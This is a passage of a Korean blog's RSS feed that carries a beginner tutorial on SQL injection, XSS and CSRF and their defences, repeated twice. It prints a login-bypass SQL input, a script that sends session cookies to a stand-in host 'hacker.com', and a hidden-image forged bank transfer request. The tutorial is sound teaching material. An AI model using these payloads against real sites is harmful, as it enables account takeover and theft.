/&gt;이때&amp;nbsp;사기꾼이&amp;nbsp;자기&amp;nbsp;이름&amp;nbsp;대신&amp;nbsp;이렇게&amp;nbsp;말합니다: &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;홍길동'&amp;nbsp;이거나&amp;nbsp;1은&amp;nbsp;1이다.&amp;nbsp;그리고&amp;nbsp;모든&amp;nbsp;고객&amp;nbsp;명단을&amp;nbsp;다&amp;nbsp;내놓아라!&quot;** &lt;br /&gt;&lt;br /&gt;멍청한&amp;nbsp;은행원이&amp;nbsp;이&amp;nbsp;말을&amp;nbsp;그대로&amp;nbsp;컴퓨터에&amp;nbsp;입력하면,&amp;nbsp;&quot;1=1(항상&amp;nbsp;참)&quot;&amp;nbsp;조건&amp;nbsp;때문에&amp;nbsp;컴퓨터는&amp;nbsp;문을&amp;nbsp;활짝&amp;nbsp;열고&amp;nbsp;전&amp;nbsp;고객의&amp;nbsp;비밀을&amp;nbsp;쏟아냅니다. &lt;br /&gt;&lt;br /&gt;```sql &lt;br /&gt;--&amp;nbsp;[&amp;nbsp;취약한&amp;nbsp;백엔드&amp;nbsp;코드&amp;nbsp;] &lt;br /&gt;query&amp;nbsp;=&amp;nbsp;&quot;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;'&quot;&amp;nbsp;+&amp;nbsp;input_id&amp;nbsp;+&amp;nbsp;&quot;'&amp;nbsp;AND&amp;nbsp;password&amp;nbsp;=&amp;nbsp;'&quot;&amp;nbsp;+&amp;nbsp;input_pw&amp;nbsp;+&amp;nbsp;&quot;'&quot;; &lt;br /&gt;&lt;br /&gt;--&amp;nbsp;[&amp;nbsp;해커의&amp;nbsp;악의적&amp;nbsp;입력값&amp;nbsp;] &lt;br /&gt;input_id&amp;nbsp;:&amp;nbsp;admin'&amp;nbsp;-- &lt;br /&gt;input_pw&amp;nbsp;:&amp;nbsp;(아무거나) &lt;br /&gt;&lt;br /&gt;--&amp;nbsp;[&amp;nbsp;실제&amp;nbsp;DB에서&amp;nbsp;실행되는&amp;nbsp;완성된&amp;nbsp;쿼리&amp;nbsp;] &lt;br /&gt;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;'admin'&amp;nbsp;--'&amp;nbsp;AND&amp;nbsp;password&amp;nbsp;=&amp;nbsp;'...'; &lt;br /&gt;--&amp;nbsp;(뒤쪽&amp;nbsp;비밀번호&amp;nbsp;검사&amp;nbsp;구문이&amp;nbsp;주석(--)&amp;nbsp;처리되어&amp;nbsp;비밀번호&amp;nbsp;없이&amp;nbsp;관리자로&amp;nbsp;프리패스&amp;nbsp;로그인!) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법:&amp;nbsp;Prepared&amp;nbsp;Statement&amp;nbsp;(파라미터&amp;nbsp;바인딩) &lt;br /&gt;절대&amp;nbsp;문자열&amp;nbsp;더하기(`+`)나&amp;nbsp;포맷팅으로&amp;nbsp;SQL을&amp;nbsp;조립하지&amp;nbsp;마십시오!&amp;nbsp;&amp;nbsp; &lt;br /&gt;**Prepared&amp;nbsp;Statement**를&amp;nbsp;사용하면,&amp;nbsp;데이터베이스&amp;nbsp;엔진은&amp;nbsp;사용자&amp;nbsp;입력값을&amp;nbsp;'명령어'가&amp;nbsp;아닌&amp;nbsp;**'단순한&amp;nbsp;순수&amp;nbsp;텍스트&amp;nbsp;데이터'**로만&amp;nbsp;격리&amp;nbsp;취급하므로&amp;nbsp;악의적인&amp;nbsp;문법이&amp;nbsp;절대&amp;nbsp;실행되지&amp;nbsp;않습니다.&amp;nbsp;(JPA,&amp;nbsp;MyBatis,&amp;nbsp;TypeORM&amp;nbsp;등&amp;nbsp;모던&amp;nbsp;ORM은&amp;nbsp;기본적으로&amp;nbsp;이를&amp;nbsp;적용합니다.) &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;XSS&amp;nbsp;(Cross-Site&amp;nbsp;Scripting)&amp;nbsp;-&amp;nbsp;브라우저를&amp;nbsp;속이는&amp;nbsp;악성&amp;nbsp;스크립트&amp;nbsp;배포 &lt;br /&gt;&lt;br /&gt;XSS는&amp;nbsp;해커가&amp;nbsp;웹사이트&amp;nbsp;게시판이나&amp;nbsp;댓글창에&amp;nbsp;악의적인&amp;nbsp;**자바스크립트(JS)&amp;nbsp;코드**를&amp;nbsp;심어두고,&amp;nbsp;다른&amp;nbsp;무고한&amp;nbsp;사용자가&amp;nbsp;그&amp;nbsp;글을&amp;nbsp;읽을&amp;nbsp;때&amp;nbsp;그&amp;nbsp;사용자의&amp;nbsp;브라우저에서&amp;nbsp;스크립트가&amp;nbsp;실행되게&amp;nbsp;만드는&amp;nbsp;공격입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;공공&amp;nbsp;게시판에&amp;nbsp;최면&amp;nbsp;가스&amp;nbsp;뿌려두기 &lt;br /&gt;마을&amp;nbsp;광장&amp;nbsp;알림판에&amp;nbsp;누군가&amp;nbsp;평범한&amp;nbsp;공고문&amp;nbsp;대신&amp;nbsp;**&quot;이&amp;nbsp;글을&amp;nbsp;읽는&amp;nbsp;즉시&amp;nbsp;주머니의&amp;nbsp;지갑을&amp;nbsp;털어&amp;nbsp;사서함&amp;nbsp;104호로&amp;nbsp;보내라&quot;**는&amp;nbsp;최면&amp;nbsp;문구를&amp;nbsp;붙여두었습니다.&amp;nbsp;글을&amp;nbsp;읽은&amp;nbsp;순진한&amp;nbsp;마을&amp;nbsp;주민들은&amp;nbsp;자기도&amp;nbsp;모르게&amp;nbsp;지갑을&amp;nbsp;털려버립니다. &lt;br /&gt;&lt;br /&gt;```html &lt;br /&gt;&amp;lt;!--&amp;nbsp;해커가&amp;nbsp;게시판&amp;nbsp;댓글에&amp;nbsp;작성한&amp;nbsp;내용&amp;nbsp;--&amp;gt; &lt;br /&gt;우와&amp;nbsp;정말&amp;nbsp;유익한&amp;nbsp;글이네요! &lt;br /&gt;&amp;lt;script&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;fetch('&lt;a href=&quot;https://hacker.com/steal?cookie='&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://hacker.com/steal?cookie='&lt;/a&gt;&amp;nbsp;+&amp;nbsp;document.cookie); &lt;br /&gt;&amp;lt;/script&amp;gt; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;피해자가&amp;nbsp;이&amp;nbsp;댓글이&amp;nbsp;달린&amp;nbsp;게시글을&amp;nbsp;여는&amp;nbsp;순간,&amp;nbsp;피해자의&amp;nbsp;브라우저는&amp;nbsp;`&amp;lt;script&amp;gt;`&amp;nbsp;태그를&amp;nbsp;읽고&amp;nbsp;실행하여&amp;nbsp;피해자의&amp;nbsp;**로그인&amp;nbsp;세션&amp;nbsp;쿠키**를&amp;nbsp;해커의&amp;nbsp;서버로&amp;nbsp;전송해&amp;nbsp;버립니다.&amp;nbsp;해커는&amp;nbsp;로그인&amp;nbsp;없이&amp;nbsp;피해자&amp;nbsp;계정으로&amp;nbsp;접속(세션&amp;nbsp;하이재킹)하게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법 &lt;br /&gt;1.&amp;nbsp;**HTML&amp;nbsp;이스케이프(Escape)**:&amp;nbsp;`&amp;lt;`는&amp;nbsp;`&amp;amp;lt;`로,&amp;nbsp;`&amp;gt;`는&amp;nbsp;`&amp;amp;gt;`로&amp;nbsp;변환하여&amp;nbsp;브라우저가&amp;nbsp;코드가&amp;nbsp;아닌&amp;nbsp;단순&amp;nbsp;글자로&amp;nbsp;렌더링하게&amp;nbsp;만듭니다.&amp;nbsp;(React,&amp;nbsp;Vue,&amp;nbsp;타임리프&amp;nbsp;등은&amp;nbsp;기본적으로&amp;nbsp;자동&amp;nbsp;이스케이프&amp;nbsp;지원) &lt;br /&gt;2.&amp;nbsp;**쿠키&amp;nbsp;HttpOnly&amp;nbsp;속성**:&amp;nbsp;로그인&amp;nbsp;쿠키에&amp;nbsp;`HttpOnly`&amp;nbsp;플래그를&amp;nbsp;걸면,&amp;nbsp;자바스크립트(`document.cookie`)로&amp;nbsp;쿠키에&amp;nbsp;절대&amp;nbsp;접근할&amp;nbsp;수&amp;nbsp;없습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;3.&amp;nbsp;CSRF&amp;nbsp;(Cross-Site&amp;nbsp;Request&amp;nbsp;Forgery)&amp;nbsp;-&amp;nbsp;사용자&amp;nbsp;손을&amp;nbsp;빌린&amp;nbsp;대리&amp;nbsp;범죄 &lt;br /&gt;&lt;br /&gt;CSRF는&amp;nbsp;사용자가&amp;nbsp;이미&amp;nbsp;신뢰하는&amp;nbsp;웹사이트(예:&amp;nbsp;은행,&amp;nbsp;쇼핑몰)에&amp;nbsp;로그인되어&amp;nbsp;있는&amp;nbsp;상태를&amp;nbsp;악용하여,&amp;nbsp;해커가&amp;nbsp;만든&amp;nbsp;엉뚱한&amp;nbsp;사이트에서&amp;nbsp;사용자의&amp;nbsp;권한으로&amp;nbsp;몰래&amp;nbsp;위조된&amp;nbsp;요청을&amp;nbsp;전송하게&amp;nbsp;만드는&amp;nbsp;수법입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;인감도장을&amp;nbsp;훔치지&amp;nbsp;않고&amp;nbsp;몰래&amp;nbsp;손을&amp;nbsp;잡고&amp;nbsp;도장&amp;nbsp;찍기 &lt;br /&gt;내가&amp;nbsp;거래하는&amp;nbsp;단골&amp;nbsp;은행에&amp;nbsp;신분증을&amp;nbsp;내고&amp;nbsp;창구에&amp;nbsp;앉아있습니다.&amp;nbsp;이때&amp;nbsp;옆자리&amp;nbsp;수상한&amp;nbsp;사람이&amp;nbsp;내&amp;nbsp;스마트폰으로&amp;nbsp;재밌는&amp;nbsp;고양이&amp;nbsp;사진&amp;nbsp;링크를&amp;nbsp;보냈습니다.&amp;nbsp;링크를&amp;nbsp;쳐다보는&amp;nbsp;순간&amp;nbsp;내&amp;nbsp;손을&amp;nbsp;덥석&amp;nbsp;잡아서&amp;nbsp;이체&amp;nbsp;신청서에&amp;nbsp;도장을&amp;nbsp;쾅&amp;nbsp;찍어버리는&amp;nbsp;꼴입니다. &lt;br /&gt;&lt;br /&gt;```html &lt;br /&gt;&amp;lt;!--&amp;nbsp;해커가&amp;nbsp;만든&amp;nbsp;낚시&amp;nbsp;웹사이트&amp;nbsp;(&lt;a href=&quot;https://cute-cat.com)&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://cute-cat.com)&lt;/a&gt;&amp;nbsp;내부&amp;nbsp;코드&amp;nbsp;--&amp;gt; &lt;br /&gt;&amp;lt;h1&amp;gt;귀여운&amp;nbsp;고양이&amp;nbsp;사진을&amp;nbsp;감상하세요!&amp;lt;/h1&amp;gt; &lt;br /&gt;&amp;lt;img&amp;nbsp;src=&quot;&lt;a href=&quot;https://bank.com/transfer?to=hacker&amp;amp;amount=10000000&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bank.com/transfer?to=hacker&amp;amp;amount=10000000&lt;/a&gt;&quot;&amp;nbsp;width=&quot;0&quot;&amp;nbsp;height=&quot;0&quot;&amp;nbsp;/&amp;gt; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;사용자가&amp;nbsp;은행에&amp;nbsp;로그인된&amp;nbsp;상태로&amp;nbsp;저&amp;nbsp;낚시&amp;nbsp;사이트를&amp;nbsp;열면,&amp;nbsp;브라우저는&amp;nbsp;고양이&amp;nbsp;사진&amp;nbsp;대신&amp;nbsp;이미지를&amp;nbsp;불러오려고&amp;nbsp;은행&amp;nbsp;서버로&amp;nbsp;이체&amp;nbsp;요청을&amp;nbsp;보냅니다.&amp;nbsp;이때&amp;nbsp;브라우저는&amp;nbsp;은행&amp;nbsp;사이트의&amp;nbsp;유효한&amp;nbsp;세션&amp;nbsp;쿠키를&amp;nbsp;**자동으로&amp;nbsp;동봉**해서&amp;nbsp;보내기&amp;nbsp;때문에,&amp;nbsp;은행&amp;nbsp;서버는&amp;nbsp;사용자가&amp;nbsp;직접&amp;nbsp;요청한&amp;nbsp;것으로&amp;nbsp;착각하고&amp;nbsp;1,000만&amp;nbsp;원을&amp;nbsp;송금해&amp;nbsp;버립니다! &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법:&amp;nbsp;CSRF&amp;nbsp;토큰&amp;nbsp;&amp;amp;&amp;nbsp;SameSite&amp;nbsp;쿠키 &lt;br /&gt;1.&amp;nbsp;**CSRF&amp;nbsp;토큰**:&amp;nbsp;서버는&amp;nbsp;폼&amp;nbsp;페이지를&amp;nbsp;줄&amp;nbsp;때&amp;nbsp;예측&amp;nbsp;불가능한&amp;nbsp;난수&amp;nbsp;토큰(`CSRF-Token`)을&amp;nbsp;발급하고,&amp;nbsp;폼&amp;nbsp;제출&amp;nbsp;시&amp;nbsp;이&amp;nbsp;토큰이&amp;nbsp;맞는지&amp;nbsp;검증합니다.&amp;nbsp;외부&amp;nbsp;낚시&amp;nbsp;사이트는&amp;nbsp;이&amp;nbsp;토큰&amp;nbsp;값을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;없으므로&amp;nbsp;위조&amp;nbsp;요청이&amp;nbsp;100%&amp;nbsp;차단됩니다. &lt;br /&gt;2.&amp;nbsp;**쿠키&amp;nbsp;`SameSite=Lax`&amp;nbsp;또는&amp;nbsp;`Strict`&amp;nbsp;설정**:&amp;nbsp;다른&amp;nbsp;사이트(Third-Party)에서&amp;nbsp;시작된&amp;nbsp;요청에는&amp;nbsp;쿠키를&amp;nbsp;절대&amp;nbsp;자동으로&amp;nbsp;붙여&amp;nbsp;보내지&amp;nbsp;않도록&amp;nbsp;브라우저&amp;nbsp;레벨에서&amp;nbsp;원천&amp;nbsp;봉쇄합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;웹&amp;nbsp;3대&amp;nbsp;취약점&amp;nbsp;한눈에&amp;nbsp;요약&amp;nbsp;비교 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;취약점&amp;nbsp;|&amp;nbsp;공격&amp;nbsp;대상&amp;nbsp;|&amp;nbsp;공격&amp;nbsp;원리&amp;nbsp;|&amp;nbsp;핵심&amp;nbsp;방어&amp;nbsp;대책&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**SQL&amp;nbsp;인젝션**&amp;nbsp;|&amp;nbsp;데이터베이스&amp;nbsp;(DB)&amp;nbsp;|&amp;nbsp;입력값에&amp;nbsp;악성&amp;nbsp;SQL&amp;nbsp;문법&amp;nbsp;주입&amp;nbsp;|&amp;nbsp;**Prepared&amp;nbsp;Statement&amp;nbsp;(파라미터&amp;nbsp;바인딩)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**XSS**&amp;nbsp;|&amp;nbsp;사용자&amp;nbsp;브라우저&amp;nbsp;|&amp;nbsp;게시글&amp;nbsp;등에&amp;nbsp;악성&amp;nbsp;자바스크립트&amp;nbsp;삽입&amp;nbsp;|&amp;nbsp;**HTML&amp;nbsp;이스케이프,&amp;nbsp;`HttpOnly`&amp;nbsp;쿠키**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**CSRF**&amp;nbsp;|&amp;nbsp;사용자&amp;nbsp;권한(신뢰&amp;nbsp;서버)&amp;nbsp;|&amp;nbsp;로그인된&amp;nbsp;세션&amp;nbsp;쿠키를&amp;nbsp;이용해&amp;nbsp;몰래&amp;nbsp;요청&amp;nbsp;전송&amp;nbsp;|&amp;nbsp;**CSRF&amp;nbsp;토큰&amp;nbsp;검증,&amp;nbsp;`SameSite`&amp;nbsp;쿠키**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**SQL&amp;nbsp;인젝션**은&amp;nbsp;DB를&amp;nbsp;속여&amp;nbsp;데이터를&amp;nbsp;탈취하는&amp;nbsp;공격으로,&amp;nbsp;Prepared&amp;nbsp;Statement를&amp;nbsp;통해&amp;nbsp;코드가&amp;nbsp;아닌&amp;nbsp;순수&amp;nbsp;데이터로&amp;nbsp;입력값을&amp;nbsp;격리해야&amp;nbsp;한다. &lt;br /&gt;2.&amp;nbsp;**XSS**는&amp;nbsp;다른&amp;nbsp;사용자의&amp;nbsp;브라우저에서&amp;nbsp;악성&amp;nbsp;스크립트를&amp;nbsp;실행시키는&amp;nbsp;공격으로,&amp;nbsp;HTML&amp;nbsp;이스케이프와&amp;nbsp;HttpOnly&amp;nbsp;쿠키로&amp;nbsp;방어한다. &lt;br /&gt;3.&amp;nbsp;**CSRF**는&amp;nbsp;로그인된&amp;nbsp;사용자의&amp;nbsp;권한을&amp;nbsp;도용해&amp;nbsp;위조&amp;nbsp;요청을&amp;nbsp;보내는&amp;nbsp;공격으로,&amp;nbsp;CSRF&amp;nbsp;토큰과&amp;nbsp;SameSite&amp;nbsp;쿠키로&amp;nbsp;막아낸다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;시스템의&amp;nbsp;안전을&amp;nbsp;지키는&amp;nbsp;방어&amp;nbsp;기술을&amp;nbsp;완벽히&amp;nbsp;마스터했다면,&amp;nbsp;이제&amp;nbsp;인간의&amp;nbsp;지능을&amp;nbsp;뛰어넘어&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;산업을&amp;nbsp;뒤흔들고&amp;nbsp;있는&amp;nbsp;현대&amp;nbsp;기술의&amp;nbsp;정점을&amp;nbsp;마주할&amp;nbsp;시간입니다. &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;ChatGPT,&amp;nbsp;Claude&amp;nbsp;등&amp;nbsp;전&amp;nbsp;세계를&amp;nbsp;충격에&amp;nbsp;빠뜨린&amp;nbsp;생성형&amp;nbsp;AI의&amp;nbsp;절대&amp;nbsp;심장,&amp;nbsp;**[트랜스포머(Transformer)와&amp;nbsp;어텐션&amp;nbsp;메커니즘&amp;nbsp;-&amp;nbsp;현대&amp;nbsp;AI의&amp;nbsp;혁명]**을&amp;nbsp;누구보다&amp;nbsp;생생하고&amp;nbsp;직관적으로&amp;nbsp;파헤쳐&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>AI, 머신러닝 &amp;amp; 빅데이터</category>
      <category>CSRF</category>
      <category>sql인젝션</category>
      <category>XSS</category>
      <category>개발기초</category>
      <category>백엔드</category>
      <category>보안</category>
      <category>웹보안</category>
      <category>웹해킹</category>
      <category>인증</category>
      <category>프론트엔드</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/92</guid>
      <comments>https://softwin.tistory.com/92#entry92comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:34:19 +0900</pubDate>
    </item>
    <item>
      <title>웹 3대 해킹 공격과 방어법 - SQL 인젝션, XSS, CSRF 완전 정복</title>
      <link>https://softwin.tistory.com/91</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;웹&amp;nbsp;3대&amp;nbsp;해킹&amp;nbsp;공격과&amp;nbsp;방어법&amp;nbsp;-&amp;nbsp;SQL&amp;nbsp;인젝션,&amp;nbsp;XSS,&amp;nbsp;CSRF&amp;nbsp;완전&amp;nbsp;정복 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;화려한&amp;nbsp;내&amp;nbsp;웹사이트,&amp;nbsp;해커에겐&amp;nbsp;1초&amp;nbsp;만에&amp;nbsp;털리는&amp;nbsp;놀이터? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;안전한&amp;nbsp;사용자&amp;nbsp;인증과&amp;nbsp;간편&amp;nbsp;로그인을&amp;nbsp;책임지는&amp;nbsp;**JWT(JSON&amp;nbsp;Web&amp;nbsp;Token)와&amp;nbsp;OAuth&amp;nbsp;2.0의&amp;nbsp;원리**를&amp;nbsp;살펴보았습니다.&amp;nbsp;토큰으로&amp;nbsp;로그인&amp;nbsp;관문을&amp;nbsp;단단히&amp;nbsp;걸어&amp;nbsp;잠갔다고&amp;nbsp;해서&amp;nbsp;안심할&amp;nbsp;수&amp;nbsp;있을까요?&amp;nbsp;천만의&amp;nbsp;말씀입니다. &lt;br /&gt;&lt;br /&gt;실제&amp;nbsp;웹&amp;nbsp;서비스에서&amp;nbsp;발생하는&amp;nbsp;보안&amp;nbsp;사고의&amp;nbsp;90%&amp;nbsp;이상은&amp;nbsp;거창한&amp;nbsp;암호학적&amp;nbsp;결함&amp;nbsp;때문이&amp;nbsp;아니라,&amp;nbsp;**개발자의&amp;nbsp;사소한&amp;nbsp;코딩&amp;nbsp;실수&amp;nbsp;하나**를&amp;nbsp;파고드는&amp;nbsp;아주&amp;nbsp;고전적이고&amp;nbsp;단순한&amp;nbsp;웹&amp;nbsp;취약점&amp;nbsp;때문에&amp;nbsp;터집니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;검색창에&amp;nbsp;이상한&amp;nbsp;기호&amp;nbsp;몇&amp;nbsp;개를&amp;nbsp;쳤더니&amp;nbsp;전&amp;nbsp;회원의&amp;nbsp;개인정보와&amp;nbsp;비밀번호가&amp;nbsp;화면에&amp;nbsp;쏟아져&amp;nbsp;나오고,&amp;nbsp;게시판&amp;nbsp;글&amp;nbsp;하나를&amp;nbsp;클릭했을&amp;nbsp;뿐인데&amp;nbsp;내&amp;nbsp;계좌에서&amp;nbsp;천만&amp;nbsp;원이&amp;nbsp;해커&amp;nbsp;계좌로&amp;nbsp;이체되어&amp;nbsp;버렸습니다!&quot;** &lt;br /&gt;&lt;br /&gt;영화&amp;nbsp;속에&amp;nbsp;나오는&amp;nbsp;천재&amp;nbsp;해커들의&amp;nbsp;이야기가&amp;nbsp;아닙니다.&amp;nbsp;초보&amp;nbsp;개발자가&amp;nbsp;흔히&amp;nbsp;저지르는&amp;nbsp;방심&amp;nbsp;틈으로&amp;nbsp;들어오는&amp;nbsp;현실의&amp;nbsp;공격입니다. &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;개발자라면&amp;nbsp;프론트엔드,&amp;nbsp;백엔드를&amp;nbsp;막론하고&amp;nbsp;반드시&amp;nbsp;뼈에&amp;nbsp;새겨야&amp;nbsp;할&amp;nbsp;**웹&amp;nbsp;3대&amp;nbsp;필수&amp;nbsp;보안&amp;nbsp;취약점:&amp;nbsp;SQL&amp;nbsp;인젝션,&amp;nbsp;XSS,&amp;nbsp;CSRF**의&amp;nbsp;작동&amp;nbsp;원리와&amp;nbsp;완벽한&amp;nbsp;철통&amp;nbsp;방어법을&amp;nbsp;파헤쳐&amp;nbsp;보겠습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;SQL&amp;nbsp;인젝션&amp;nbsp;(SQL&amp;nbsp;Injection)&amp;nbsp;-&amp;nbsp;데이터베이스를&amp;nbsp;속이는&amp;nbsp;말장난 &lt;br /&gt;&lt;br /&gt;SQL&amp;nbsp;인젝션은&amp;nbsp;사용자가&amp;nbsp;입력한&amp;nbsp;문자열을&amp;nbsp;데이터베이스&amp;nbsp;명령문으로&amp;nbsp;그대로&amp;nbsp;이어&amp;nbsp;붙일&amp;nbsp;때&amp;nbsp;발생하는&amp;nbsp;치명적인&amp;nbsp;취약점입니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; &amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;위조&amp;nbsp;암구호로&amp;nbsp;은행&amp;nbsp;금고&amp;nbsp;열기 &lt;br /&gt;은행원이&amp;nbsp;고객에게&amp;nbsp;&quot;성함을&amp;nbsp;말씀해&amp;nbsp;주시면&amp;nbsp;통장&amp;nbsp;잔고를&amp;nbsp;조회해&amp;nbsp;드리겠습니다&quot;라고&amp;nbsp;물었습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;이때&amp;nbsp;사기꾼이&amp;nbsp;자기&amp;nbsp;이름&amp;nbsp;대신&amp;nbsp;이렇게&amp;nbsp;말합니다: &lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;홍길동'&amp;nbsp;이거나&amp;nbsp;1은&amp;nbsp;1이다.&amp;nbsp;그리고&amp;nbsp;모든&amp;nbsp;고객&amp;nbsp;명단을&amp;nbsp;다&amp;nbsp;내놓아라!&quot;** &lt;br /&gt;&lt;br /&gt;멍청한&amp;nbsp;은행원이&amp;nbsp;이&amp;nbsp;말을&amp;nbsp;그대로&amp;nbsp;컴퓨터에&amp;nbsp;입력하면,&amp;nbsp;&quot;1=1(항상&amp;nbsp;참)&quot;&amp;nbsp;조건&amp;nbsp;때문에&amp;nbsp;컴퓨터는&amp;nbsp;문을&amp;nbsp;활짝&amp;nbsp;열고&amp;nbsp;전&amp;nbsp;고객의&amp;nbsp;비밀을&amp;nbsp;쏟아냅니다. &lt;br /&gt;&lt;br /&gt;```sql &lt;br /&gt;--&amp;nbsp;[&amp;nbsp;취약한&amp;nbsp;백엔드&amp;nbsp;코드&amp;nbsp;] &lt;br /&gt;query&amp;nbsp;=&amp;nbsp;&quot;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;'&quot;&amp;nbsp;+&amp;nbsp;input_id&amp;nbsp;+&amp;nbsp;&quot;'&amp;nbsp;AND&amp;nbsp;password&amp;nbsp;=&amp;nbsp;'&quot;&amp;nbsp;+&amp;nbsp;input_pw&amp;nbsp;+&amp;nbsp;&quot;'&quot;; &lt;br /&gt;&lt;br /&gt;--&amp;nbsp;[&amp;nbsp;해커의&amp;nbsp;악의적&amp;nbsp;입력값&amp;nbsp;] &lt;br /&gt;input_id&amp;nbsp;:&amp;nbsp;admin'&amp;nbsp;-- &lt;br /&gt;input_pw&amp;nbsp;:&amp;nbsp;(아무거나) &lt;br /&gt;&lt;br /&gt;--&amp;nbsp;[&amp;nbsp;실제&amp;nbsp;DB에서&amp;nbsp;실행되는&amp;nbsp;완성된&amp;nbsp;쿼리&amp;nbsp;] &lt;br /&gt;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;'admin'&amp;nbsp;--'&amp;nbsp;AND&amp;nbsp;password&amp;nbsp;=&amp;nbsp;'...'; &lt;br /&gt;--&amp;nbsp;(뒤쪽&amp;nbsp;비밀번호&amp;nbsp;검사&amp;nbsp;구문이&amp;nbsp;주석(--)&amp;nbsp;처리되어&amp;nbsp;비밀번호&amp;nbsp;없이&amp;nbsp;관리자로&amp;nbsp;프리패스&amp;nbsp;로그인!) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp; ️&amp;nbsp;완벽한&amp;nbsp;방어법:&amp;nbsp;Prepared&amp;nbsp;Statement&amp;nbsp;(파라미터&amp;nbsp;바인딩) &lt;br /&gt;절대&amp;nbsp;문자열&amp;nbsp;더하기(`+`)나&amp;nbsp;포맷팅으로&amp;nbsp;SQL을&amp;nbsp;조립하지&amp;nbsp;마십시오!&amp;nbsp;&amp;nbsp; &lt;br /&gt;**Prepared&amp;nbsp;Statement**를&amp;nbsp;사용하면,&amp;nbsp;데이터베이스&amp;nbsp;엔진은&amp;nbsp;사용자&amp;nbsp;입력값을&amp;nbsp;'명령어'가&amp;nbsp;아닌&amp;nbsp;**'단순한&amp;nbsp;순수&amp;nbsp;텍스트&amp;nbsp;데이터'**로만&amp;nbsp;격리&amp;nbsp;취급하므로&amp;nbsp;악의적인&amp;nbsp;문법이&amp;nbsp;절대&amp;nbsp;실행되지&amp;nbsp;않습니다.&amp;nbsp;(JPA,&amp;nbsp;MyBatis,&amp;nbsp;TypeORM&amp;nbsp;등&amp;nbsp;모던&amp;nbsp;ORM은&amp;nbsp;기본적으로&amp;nbsp;이를&amp;nbsp;적용합니다.) &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;XSS&amp;nbsp;(Cross-Site&amp;nbsp;Scripting)&amp;nbsp;-&amp;nbsp;브라우저를&amp;nbsp;속이는&amp;nbsp;악성&amp;nbsp;스크립트&amp;nbsp;배포 &lt;br /&gt;&lt;br 